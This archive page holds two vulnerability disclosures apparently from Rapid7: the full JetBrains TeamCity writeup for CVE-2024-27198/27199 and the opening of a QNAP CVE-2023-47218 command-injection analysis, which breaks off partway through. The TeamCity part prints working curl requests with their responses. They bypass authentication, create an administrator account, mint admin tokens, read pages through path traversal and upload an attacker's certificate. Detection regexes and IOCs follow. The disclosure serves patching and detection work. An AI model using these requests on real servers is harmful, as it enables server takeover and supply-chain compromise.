Tag Archives: Vulnerability Disclosure

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

Overview

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

In February 2024, Rapid7’s vulnerability research team identified two new vulnerabilities affecting JetBrains TeamCity CI/CD server:

  • CVE-2024-27198 is an authentication bypass vulnerability in the web component of TeamCity that arises from an alternative path issue (CWE-288) and has a CVSS base score of 9.8 (Critical).
  • CVE-2024-27199 is an authentication bypass vulnerability in the web component of TeamCity that arises from a path traversal issue (CWE-22) and has a CVSS base score of 7.3 (High).

On March 3, JetBrains released a fixed version of TeamCity without notifying Rapid7 that fixes had been implemented and were generally available. When Rapid7 contacted JetBrains about their uncoordinated vulnerability disclosure, JetBrains published an advisory on the vulnerabilities without responding to Rapid7 on the disclosure timeline. JetBrains later responded to indicate that CVEs had been published.

These issues were discovered by Stephen Fewer, Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Impact

Both vulnerabilities are authentication bypass vulnerabilities, the most severe of which, CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE, as demonstrated via our exploit:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

The second vulnerability, CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.

Remediation

On March 3, 2024, JetBrains released TeamCity 2023.11.4 which remediates both CVE-2024-27198 and CVE-2024-27199. Both of these vulnerabilities affect all versions of TeamCity prior to 2023.11.4.

For more details on how to upgrade, please read the JetBrains release blog. Rapid7 recommends that TeamCity customers update their servers immediately, without waiting for a regular patch cycle to occur. We have included sample indicators of compromise (IOCs) along with vulnerability details below.

Analysis

CVE-2024-27198

Overview

TeamCity exposes a web server over HTTP port 8111 by default (and can optionally be configured to run over HTTPS). An attacker can craft a URL such that all authentication checks are avoided, allowing endpoints that are intended to be authenticated to be accessed directly by an unauthenticated attacker. A remote unauthenticated attacker can leverage this to take complete control of a vulnerable TeamCity server.

Analysis

The vulnerability lies in how the jetbrains.buildServer.controllers.BaseController class handles certain requests. This class is implemented in the web-openapi.jar library. We can see below, when a request is being serviced by the handleRequestInternal method in the BaseController class, if the request is not being redirected (i.e. the handler has not issued an HTTP 302 redirect), then the updateViewIfRequestHasJspParameter method will be called.

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
            // ...snip...

In the updateViewIfRequestHasJspParameter method listed below, we can see the variable isControllerRequestWithViewName will be set to true if both the current modelAndView has a name, and the servlet path of the current request does not end in .jsp.

We can satisfy this by requesting a URI from the server that will generate an HTTP 404 response. Such a request will generate a servlet path of /404.html. We can note that this ends in .html and not .jsp, so the isControllerRequestWithViewName will be true.

Next we can see the method getJspFromRequest will be called, and the result of this call will be passed to the Java Spring frameworks ModelAndView.setViewName method. The result of doing this allows the attacker to change the URL being handled by the DispatcherServlet, thus allowing an attacker to call an arbitrary endpoint if they can control the contents of the jspFromRequest variable.

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

To understand how an attacker can specify an arbitrary endpoint, we can inspect the getJspFromRequest method below.

This method will retrieve the string value of an HTTP parameter named jsp from the current request. This string value will be tested to ensure it both ends with .jsp and does not contain the restricted path segment admin/.

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

Triggering the vulnerability

To see how to leverage this vulnerability, we can target an example endpoint. The /app/rest/server endpoint will return the current server version information. If we directly request this endpoint, the request will fail as the request is unauthenticated.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/app/rest/server
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Wed, 14 Feb 2024 17:20:05 GMT

Authentication required
To login manually go to "/login.html" page

To leverage this vulnerability to successfully call the authenticated endpoint /app/rest/server, an unauthenticated attacker must satisfy the following three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response. This can be achieved by requesting a non existent resource, e.g.:
    • /hax
  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path. This can be achieved by appending an HTTP query string, e.g.:
    • ?jsp=/app/rest/server
  • Ensure the arbitrary URI path ends with .jsp. This can be achieved by appending an HTTP path parameter segment, e.g.:
    • ;.jsp

Combining the above requirements, the attacker’s URI path becomes:

/hax?jsp=/app/rest/server;.jsp

By using the authentication bypass vulnerability, we can successfully call this authenticated endpoint with no authentication.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

If we attach a debugger, we can see the call to ModelAndView.setViewName occurring for the authenticated endpoint specified by the attacker in the jspFromRequest variable.

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Exploitation

An attacker can exploit this authentication bypass vulnerability in several ways to take control of a vulnerable TeamCity server, and by association, all projects, builds, agents and artifacts associated with the server.

For example, an unauthenticated attacker can create a new administrator user with a password the attacker controls, by targeting the /app/rest/users REST API endpoint:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

We can verify the malicious administrator user has been created by viewing the TeamCity users in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Alternatively, an unauthenticated attacker can generate a new administrator access token with the following request:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/app/rest/users/id:1/tokens/HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 241
Date: Wed, 14 Feb 2024 17:37:26 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="HaxorToken" creationTime="2024-02-14T09:37:26.726-08:00" value="eyJ0eXAiOiAiVENWMiJ9.RzR2cHVjTGRUN28yRWpiM0Z4R2xrZjZfTTdj.ZWNiMjJlYWMtMjJhZC00NzIwLWI4OTQtMzRkM2NkNzQ3NmFl"/>

We can verify the malicious access token has been created by viewing the TeamCity tokens in the web interface:

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

By either creating a new administrator user account, or by generating an administrator access token, the attacker now has full control over the target TeamCity server.

IOCs

By default, the TeamCity log files are located in C:\TeamCity\logs\ on Windows and /opt/TeamCity/logs/ on Linux.

Access Token Creation

Leveraging this vulnerability to access resources may leave an entry in the teamcity-javaLogging log file (e.g. teamcity-javaLogging-2024-02-26.log) similar to the following:

26-Feb-2024 07:11:12.794 WARNING [http-nio-8111-exec-1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.68:8111/app/rest/users/id:1/tokens/2vrflIqo;.jsp?jsp=/app/rest/users/id%3a1/tokens/2vrflIqo%3b.jsp, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

In the above example, the attacker leveraged the vulnerability to access the REST API and create a new administrator access token. In doing so, this log file now contains an entry detailing the URL as processed after the call to ModelAndView.setViewName. Note this logged URL is the rewritten URL and is not the same URL the attacker requested. We can see the URL contains the string ;.jsp as well as a query parameter jsp= which is indicative of the vulnerability. Note, the attacker can include arbitrary characters before the .jsp part, e.g. ;XXX.jsp, and there may be other query parameters present, and in any order, e.g. foo=XXX&jsp=. With this in mind, an example of a more complex logged malicious request is:

27-Feb-2024 07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters A servlet request, to the URI http://192.168.86.50/app/rest/users/id:1/tokens/wo4qEmUZ;O.jsp?WkBR=OcPj9HbdUcKxH3O&pKLaohp7=d0jMHTumGred&jsp=/app/rest/users/id%3a1/tokens/wo4qEmUZ%3bO.jsp&ja7U2Bd=nZLi6Ni, contains form parameters in the request body but the request body has been consumed by the servlet or a servlet filter accessing the request parameters. Only resource methods using @FormParam will work as expected. Resource methods consuming the request body by other means will not work as expected.

A suitable regular expression to match the rewritten URI in the teamcity-javaLogging log file would be ;\S*\.jsp\?\S*jsp= while the regular expression \/\S*\?\S*jsp=\S*;\.jsp will match against both the rewritten URI and the attacker’s original URI (Although it is unknown where the original URI will be logged to).

If the attacker has leveraged the vulnerability to create an access token, the token may have been deleted. Both the teamcity-server.log and the teamcity-activities.log will contain the below line to indicate this. We can see the token name being deleted 2vrflIqo (A random string chosen by the attacker) corresponds to the token name that was created, as shown in the warning message in the teamcity-javaLogging log file.

[2024-02-26 07:11:25,702]   INFO - s.buildServer.ACTIVITIES.AUDIT - delete_token_for_user: Deleted token "2vrflIqo" for user "user with id=1" by "user with id=1"
Malicious Plugin Upload

If an attacker uploaded a malicious plugin in order to achieve arbitrary code execution, both the teamcity-server.log and the teamcity-activities.log may contain the following lines, indicating a plugin was uploaded and subsequently deleted in quick succession, and authenticated with the same user account as that of the initial access token creation (e.g. ID 1).

[2024-02-26 07:11:13,304]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_uploaded: Plugin "WYyVNA6r" was updated by "user with id=1" with comment "Plugin was uploaded to C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"
[2024-02-26 07:11:24,506]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_disable: Plugin "WYyVNA6r" was disabled by "user with id=1"
[2024-02-26 07:11:25,683]   INFO - s.buildServer.ACTIVITIES.AUDIT - plugin_deleted: Plugin "WYyVNA6r" was deleted by "user with id=1" with comment "Plugin was deleted from C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"

The malicious plugin uploaded by the attacker may have artifacts left in the TeamCity Catalina folder, e.g. C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_WYyVNA6r\ on Windows or /opt/TeamCity/work/Catalina/localhost/ROOT/TC_147512_WYyVNA6r/ on Linux. The plugin name WYyVNA6r has formed part of the folder name TC_147512_WYyVNA6r. The number 147512 is the build number of the TeamCity server.

There may be plugin artifacts remaining in the webapps plugin folder, e.g. C:\TeamCity\webapps\ROOT\plugins\WYyVNA6r\ on Windows or /opt/TeamCity/webapps/ROOT/plugins/WYyVNA6r/ on Linux.

There may be artifacts remaining in the TeamCity data directory, for example C:\ProgramData\JetBrains\TeamCity\system\caches\plugins.unpacked\WYyVNA6r\ on Windows, or /home/teamcity/.BuildServer/system/caches/plugins.unpacked/WYyVNA6r/ on Linux.

A plugin must be disabled before it can be deleted. Disabling a plugin leaves a permanent entry in the disabled-plugins.xml configuration file (e.g. C:\ProgramData\JetBrains\TeamCity\config\disabled-plugins.xml on Windows):

<?xml version="1.0" encoding="UTF-8"?>
<disabled-plugins>

  <disabled-plugin name="WYyVNA6r" />

</disabled-plugins>

The attacker may choose the name of both the access token they create, and the malicious plugin they upload. The example above used the random string 2vrflIqo for the access token, and WYyVNA6r for the plugin. The attacker may have successfully deleted all artifacts from their malicious plugin.

The TeamCity administration console has an Audit page that will display activity that has occurred on the server. The deletion of an access token, and the uploading and deletion of a plugin will be captured in the audit log, for example:
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

This audit log is stored in the internal database data file buildserver.data (e.g. C:\ProgramData\JetBrains\TeamCity\system\buildserver.data on Windows or /home/teamcity/.BuildServer/system/buildserver.data on Linux).

Administrator Account Creation

To identify unexpected user accounts that may have been created, inspect the TeamCity administration console’s Audit page for newly created accounts.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

Both the teamcity-server.log and the teamcity-activities.log may contain entries indicating a new user account has been created. The information logged is not enough to determine if the created user account is malicious or benign.

[2024-02-26 07:45:06,962]   INFO - tbrains.buildServer.ACTIVITIES - New user created: user with id=23
[2024-02-26 07:45:06,962]   INFO - s.buildServer.ACTIVITIES.AUDIT - user_create: User "user with id=23" was created by "user with id=23"

CVE-2024-27199

Overview

We have also identified a second authentication bypass vulnerability in the TeamCity web server. This authentication bypass allows for a limited number of authenticated endpoints to be reached without authentication. An unauthenticated attacker can leverage this vulnerability to both modify a limited number of system settings on the server, as well as disclose a limited amount of sensitive information from the server.

Analysis

Several paths have been identified that are vulnerable to a path traversal issue that allows a limited number of authenticated endpoints to be successfully reached by an unauthenticated attacker. These paths include, but may not be limited to:

  • /res/
  • /update/
  • /.well-known/acme-challenge/

It was discovered that by leveraging the above paths, an attacker can use double dot path segments to traverse to an alternative endpoint, and no authentication checks will be enforced. We were able to successfully reach a limited number of JSP pages which leaked information, and several servlet endpoints that both leaked information and allowed for modification of system settings. These endpoints were:

  • /app/availableRunners
  • /app/https/settings/setPort
  • /app/https/settings/certificateInfo
  • /app/https/settings/defaultHttpsPort
  • /app/https/settings/fetchFromAcme
  • /app/https/settings/removeCertificate
  • /app/https/settings/uploadCertificate
  • /app/https/settings/termsOfService
  • /app/https/settings/triggerAcmeChallenge
  • /app/https/settings/cancelAcmeChallenge
  • /app/https/settings/getAcmeOrder
  • /app/https/settings/setRedirectStrategy
  • /app/pipeline
  • /app/oauth/space/createBuild.html

For example, an unauthenticated attacker should not be able to reach the /admin/diagnostic.jsp endpoint, as seen below:

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/admin/diagnostic.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
WWW-Authenticate: Basic realm="TeamCity"
WWW-Authenticate: Bearer realm="TeamCity"
Cache-Control: no-store
Content-Type: text/plain;charset=UTF-8
Transfer-Encoding: chunked
Date: Thu, 15 Feb 2024 13:00:40 GMT

Authentication required
To login manually go to "/login.html" page

However, by using the path /res/../admin/diagnostic.jsp, an unauthenticated attacker can successfully reach this endpoint, disclosing some information about the TeamCity installation. Note, the output below was edited for brevity.

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

A request to the endpoint /.well-known/acme-challenge/../../admin/diagnostic.jsp or /update/../admin/diagnostic.jsp will also achieve the same results.

Another interesting endpoint to target is the /app/https/settings/uploadCertificate endpoint. This allows an unauthenticated attacker to upload a new HTTPS certificate of the attacker’s choosing to the target TeamCity server, as well as change the port number the HTTPS service listens on. For example, we can generate a self-signed certificate with the following commands:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:HaxorState
Locality Name (eg, city) []:HaxorCity
Organization Name (eg, company) [Internet Widgits Pty Ltd]:HaxorOrganization
Organizational Unit Name (eg, section) []:HaxorUnit
Common Name (e.g. server FQDN or YOUR name) []:target.server.com
Email Address []:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

An unauthenticated attacker can perform a POST request with a path of /res/../app/https/settings/uploadCertificate in order to upload a new HTTPS certificate.

C:\Users\Administrator\Desktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../app/https/settings/uploadCertificate -X POST -H "Accept: application/json" -F [email protected] -F [email protected] -F port=4141
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 172.29.228.65:8111...
* Connected to 172.29.228.65 (172.29.228.65) port 8111 (#0)
> POST /res/../app/https/settings/uploadCertificate HTTP/1.1
> Host: 172.29.228.65:8111
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
* Connection #0 to host 172.29.228.65 left intact

If we log into the TeamCity server, we can verify the HTTPS certificate and port number have been modified.
CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED)

An attacker could perform a denial of service against the TeamCity server by either changing the HTTPS port number to a value not expected by clients, or by uploading a certificate that will fail client side validation. Alternatively, an attacker with a suitable position on the network may be able to perform either eavesdropping or a man-in-the-middle attack on client connections, if the certificate the attacker uploads (and has a private key for) will be trusted by the clients.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-27198 and CVE-2024-27199 with vulnerability checks expected to be available in the March 4 content release.

Timeline

  • February 15, 2024: Rapid7 makes initial contact with JetBrains via email.
  • February 19, 2024: Rapid7 makes a second contact attempt to JetBrains via email. JetBrains acknowledges outreach.
  • February 20, 2024: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
  • February 21, 2024: JetBrains reserves CVE-2024-27198 and CVE-2024-27199. JetBrains suggests releasing patches privately before a public disclosure of the issues. Rapid7 responds, emphasizing the importance of coordinated disclosure and our stance against silently patching vulnerabilities.
  • February 22, 2024: JetBrains requests additional information on what Rapid7 considers to be silent patching.
  • February 23, 2024: Rapid7 reiterates our disclosure policy, sends JetBrains our material on silent patching. Rapid7 requests additional information about the affected product version numbers and additional mitigation guidance.
  • March 1, 2024: Rapid7 reiterates the previous request for additional information about affected product versions and vendor mitigation guidance.
  • March 1, 2024: JetBrains confirms which CVEs will be assigned to the vulnerabilities. JetBrains says they are “still investigating the issue, its root cause, and the affected versions” and that they hope to have updates for Rapid7 “next week.”
  • March 4, 2024: Rapid7 notes that JetBrains has published a blog announcing the release of TeamCity 2023.11.4. After looking at the release, Rapid7 confirms that JetBrains has patched the vulnerabilities. Rapid7 contacts JetBrains expressing concern that a patch was released without notifying or coordinating with our team, and without publishing advisories for the security issues. Rapid7 reiterates our vulnerability disclosure policy, which stipulates: “If Rapid7 becomes aware that an update was made generally available after reporting the issue to the responsible organization, including silent patches which tend to hijack CVD norms, Rapid7 will aim to publish vulnerability details within 24 hours.” Rapid7 also asks whether JetBrains is planning on publishing an advisory with CVE information.
  • March 4, 2024: JetBrains publishes a blog on the security issues (CVE-2024-27198 and CVE-2024-27199). JetBrains later responds indicating they have published an advisory with CVEs, and CVEs are also included in release notes. JetBrains does not respond to Rapid7 on the uncoordinated disclosure.
  • March 4, 2024: This disclosure.

CVE-2023-47218: QNAP QTS and QuTS Hero Unauthenticated Command Injection (FIXED)

Post Syndicated from Stephen Fewer original https://blog.rapid7.com/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/

CVE-2023-47218: QNAP QTS and QuTS Hero Unauthenticated Command Injection (FIXED)

Rapid7 has identified an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and QuTS hero. QTS is a core part of the firmware for numerous QNAP entry- and mid-level Network Attached Storage (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices. The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature. The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully initialized, the quick.cgi component is disabled on the system.

An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection, allowing the attacker to execute arbitrary commands on the device.

Credit

This vulnerability was discovered by Stephen Fewer, Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

CVE-2023-47218 has been addressed in multiple versions of QTS, QuTS hero and QuTScloud. QNAP prioritizes security, actively partnering with esteemed researchers like Rapid7 to promptly address and rectify vulnerabilities, ensuring the safety of our customers. For more information, please see: https://www.qnap.com/en/security-advisory/qsa-23-57

Dedicated to excellence, QNAP (Quality Network Appliance Provider) offers holistic solutions encompassing software development, hardware design, and in-house manufacturing. Beyond mere storage, QNAP envisions NAS as a robust platform, facilitating cloud-based networking for users to seamlessly host and advance artificial intelligence analysis, edge computing, and data integration on their QNAP solutions.

Remediation

QNAP released a fix for this vulnerability on January 25, 2024. According to QNAP, the following versions remediate the issue:

  • QTS 5.1.x – Fixed in QTS 5.1.5.2645 build 20240116 and later
  • QuTS hero h5.1.x – Fixed in QuTS hero h5.1.5.2647 build 20240118 and later

For more details please read the QNAP security advisory.

QNAP have provided the following remediation guidelines:

To secure your QNAP NAS, we recommend regularly updating your system to the latest version to benefit from vulnerability fixes. You can check the product support status to see the latest updates available to your NAS model.

Analysis

During our analysis we targeted the QTS based firmware, version 5.1.2.2533 for a QNAP TS-464 NAS device. We extracted the file system using the following steps:

user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.zip
# Unzip the firmware.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive:  TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
user@dev:~/qnap/$ ls
TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.zip
# Decrypt the firmware using the tool qnap-qts-fw-cryptor.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev:~/qnap/$ ls
qnap-qts-fw-cryptor.py  TS-X64_20230926-5.1.2.2533.img  TS-X64_20230926-5.1.2.2533.tgz  TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/

When decompiling the /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called if an HTTP parameter named func has a value switch_os.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 Input; // rax
  __int64 input; // rbp
  _BOOL4 v5; // ebx
  __int64 func_param; // rax
  __int64 func_param_; // r12
  bool v8; // zf
  unsigned int v9; // ebp
  __int64 todo_param; // rbx

  sub_415C82(1LL, a2, a3);
  dword_630794 = sub_415F8B();
  dword_630790 = sub_415F41();
  dword_63079C = sub_415F1E();
  Input = CGI_Get_Input();
  input = Input;
  if ( Input )
  {
    func_param = CGI_Find_Parameter(Input, (char *)"func");
    func_param_ = func_param;
    if ( func_param )
    {
      v8 = strcmp(*(const char **)(func_param + 8), "main") == 0;
      v5 = !v8;
      if ( v8 )
      {
        v9 = rand();
        puts("301 Moved Permanently");
        printf("Location: /cgi-bin/quick/html/index.html?count=%d\n", v9);
        return v5;
      }
      if ( !CGI_Find_Parameter(input, "todo") )
        goto LABEL_6;
      todo_param = CGI_Find_Parameter(input, "todo");
      if ( !strcmp(*(const char **)(func_param_ + 8), "switch_os") )
      {
        if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---

The switch_os function will call a function uploaf_firmware_image if an HTTP parameter named todo has a value of uploaf_firmware_image.

__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
  __int64 os_name_param; // rax
  __int64 v3; // rbx
  FILE *v4; // rax
  FILE *v5; // rbp
  const char *v6; // rax
  char *v7; // rbp
  __int64 v8; // rdx
  __int64 result; // rax
  __int64 v10; // rdx
  char os_name[32]; // [rsp+0h] [rbp-38h] BYREF

  memset(os_name, 0, sizeof(os_name));
  os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
  if ( os_name_param )
    strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
  if ( !strcmp(todo_param, "uploaf_firmware_image") )
  {
    v3 = uploaf_firmware_image(); // <--- 

In the function uploaf_firmware_image, we can see a helper function CGI_Upload is used to read a value from the CGI request into a local variable called file_name below.

